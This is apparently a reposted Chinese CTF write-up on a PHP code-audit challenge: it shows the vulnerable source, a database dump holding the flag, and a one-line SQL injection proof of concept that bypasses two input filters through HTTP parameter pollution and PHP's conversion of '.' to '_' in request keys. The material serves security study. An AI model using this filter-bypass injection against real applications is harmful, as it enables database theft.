这道题是在看红日安全团队的代码审计系列文章时碰到的,感觉挺有意思的,所以做了下。题目代码如下

//index.php
<?php
require 'db.inc.php';function dhtmlspecialchars($string) {if (is_array($string)) {foreach ($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}}else {$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);if (strpos($string, '&amp;#') !== false) {$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;}function dowith_sql($str) {$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);if ($check) {echo "非法字符!";exit();}return $str;}// 经过第一个waf处理foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = dowith_sql($value);}// 经过第二个WAF处理$request_uri = explode("?", $_SERVER['REQUEST_URI']);if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}}// 业务处理if (isset($_REQUEST['submit'])) {$user_id = $_REQUEST['i_d'];$sql = "select * from ctf.users where id=$user_id";$result=mysql_query($sql);while($row = mysql_fetch_array($result)){echo "<tr>";echo "<td>" . $row['name'] . "</td>";echo "</tr>";}}
?>

//db.inc.php
<?php
$mysql_server_name="localhost";
$mysql_database="ctf";    /** 数据库的名称 */
$mysql_username="root";  /** MySQL数据库用户名 */
$mysql_password="root";  /** MySQL数据库密码 */
$conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8');
?>

//ctf.sql
# Host: localhost  (Version: 5.5.53)
# Date: 2018-08-18 21:42:20
# Generator: MySQL-Front 5.3  (Build 4.234)/*!40101 SET NAMES utf8 */;#
# Structure for table "users"
#

DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (`Id` int(11) NOT NULL AUTO_INCREMENT,`name` varchar(255) DEFAULT NULL,`pass` varchar(255) DEFAULT NULL,`flag` varchar(255) DEFAULT NULL,PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;#
# Data for table "users"
#

/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES (1,'admin','qwer!@#zxca','hrctf{R3qu3st_Is_1nterEst1ng}');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;

  绕过原理利用的是HTTP参数污染、$_SERVER['REQUEST_URI']以及$_REQUEST会对特殊字符(空格、.、[)转换成为下划线_。详细可参考文章request导致的安全性问题分析。

  利用POC:
  http://172.19.77.44/hongri/index.php?submit&i_d=1/**/union/**/select/**/1,name,3,4/**/from/**/ctf.users&i.d=113

  结果如下图:

  

转载于:https://www.cnblogs.com/st404/p/10131537.html

一道考查request导致的安全性问题的ctf题相关推荐

  1. webview重新加载(reload)或者发起 redirect request导致js和objc代码之间的bridge失联解决方案(亲测有效)

    webview重新加载(reload)或者发起 redirect request导致js和objc代码之间的bridge失联解决方案(亲测有效) 参考文章: (1)webview重新加载(reload ...

  2. 一道反序列化的CTF题分享

    文章目录 一.源码分析 二.传参分析 三.小结 一.源码分析 首先看源代码: <?php Class readme{public function __toString(){return hig ...

  3. webview重新加载(reload)或者发起 redirect request导致js和objc代码之间的bridge失联解决方案(亲测有效)...

    - (BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest *)request navigationTy ...

  4. 每日一道Android 面试题,面试途中不败题

    Android是一种基于Linux的自由及开放源代码的操作系统,主要使用于移动设备,如智能手机和平板电脑,由Google公司和开放手机联盟领导及开发.这里会不断收集和更新Android基础相关的面试题 ...

  5. ctf赛题上传一个php木马,从一道CTF题学习PHP反序列化漏洞

    一.CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下. 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入 ...

  6. 一道有意思并对你有帮助的Promise题

    一道有意思的题 以下我的学习分析心路历程,以及我自己又多加了几道菜:希望对你有帮助 先上菜 new Promise((resolve, reject) => {console.log('prom ...

  7. 一道ctf题关于php反序列化字符逃逸

    0x01 前言 无意间做应该是0ctf2016的一道web题,get新点,总计一下. 0x02 代码审计 进去之后是一个登录界面,试了一下register.php发现可以注册,注册完成后登录跳转到up ...

  8. C语言求二维数组平均数,一道JavaScript的二维数组求平均数的题

    JavaScript中只支持一维数组,但是可以在数组中嵌套数组来创建二维以至于多维的数组.今天下午在看书时候,发现一道感觉比较有意思的题,就是js中如何求二维数组的列之和和行之和,现在就给大家分享下, ...

  9. 从一道CTF题学习PHP反序列化漏洞

    一.CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下. 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入 ...

最新文章

  1. Harris算子的运用 用于图像配准
  2. 我的Linux系统入坑之路!!!!
  3. [原创]我的作品:我的迷宫小游戏Java版本
  4. NeurIPS’20 | 长尾问题太严重?半监督和自监督就可以有效缓解!
  5. 需求获取的三阶段:需求背景、需求调研、需求分析 (2)
  6. MySQL基础篇(01):经典实用查询案例,总结整理
  7. python opencv 实现从一个文件夹中读取图片做切割处理后放入另一个文件夹
  8. linux系统安装与初用
  9. 最近在学习文案,一边看文案书,一边勾画笔记,一边练习
  10. 防止孩子使用计算机的软件,如何防止熊孩纸在电脑里乱装软件
  11. 谢菲尔德遗传算法工具箱函数简介
  12. bbs的html代码,bbs论坛源代码
  13. ROS机器人语音模块
  14. 关于Pyrene-PEG2/PEG3/PEG4/PEG5-azide化学式,分子量等相关对比总结
  15. PDF编辑方法,PDF文件怎么修改内容
  16. WiFI Display介绍
  17. Java 中 Integer 源码学习之缓存池了解
  18. 1.6编程基础之一维数组 10大整数加法
  19. AWS和Azure频频中断,可靠性让公有云成为带刺的玫瑰
  20. shape[0]、shape[1]、shape[2]代表了什么

热门文章

  1. 网络github_GitHub项目awesome-latex-drawing新增内容(四):绘制贝叶斯网络
  2. L3-028 森森旅游 (30 分)-PAT 团体程序设计天梯赛 GPLT
  3. 【最短路径】之Dijkstra算法
  4. 计算机的时间和dc的时间不同步_时间同步配置,让你轻松同步所有设备时间,让日志信息更有价值...
  5. 2020年日历可编辑内容模板_2020鼠年新春海报模板合集
  6. windows优化大师怎么用_软件不能用又卸载不掉怎么办——用Windows自家的卸载工具吧(dos级卸载)...
  7. Nisus Writer Pro for Mac拆分视图和注释技巧
  8. 觉得Win 10不如WP好?微软确认可以降级
  9. 刚学vue,写的一个入门demo,时光网
  10. css基础 -文本溢出 text-overflow:ellipsis;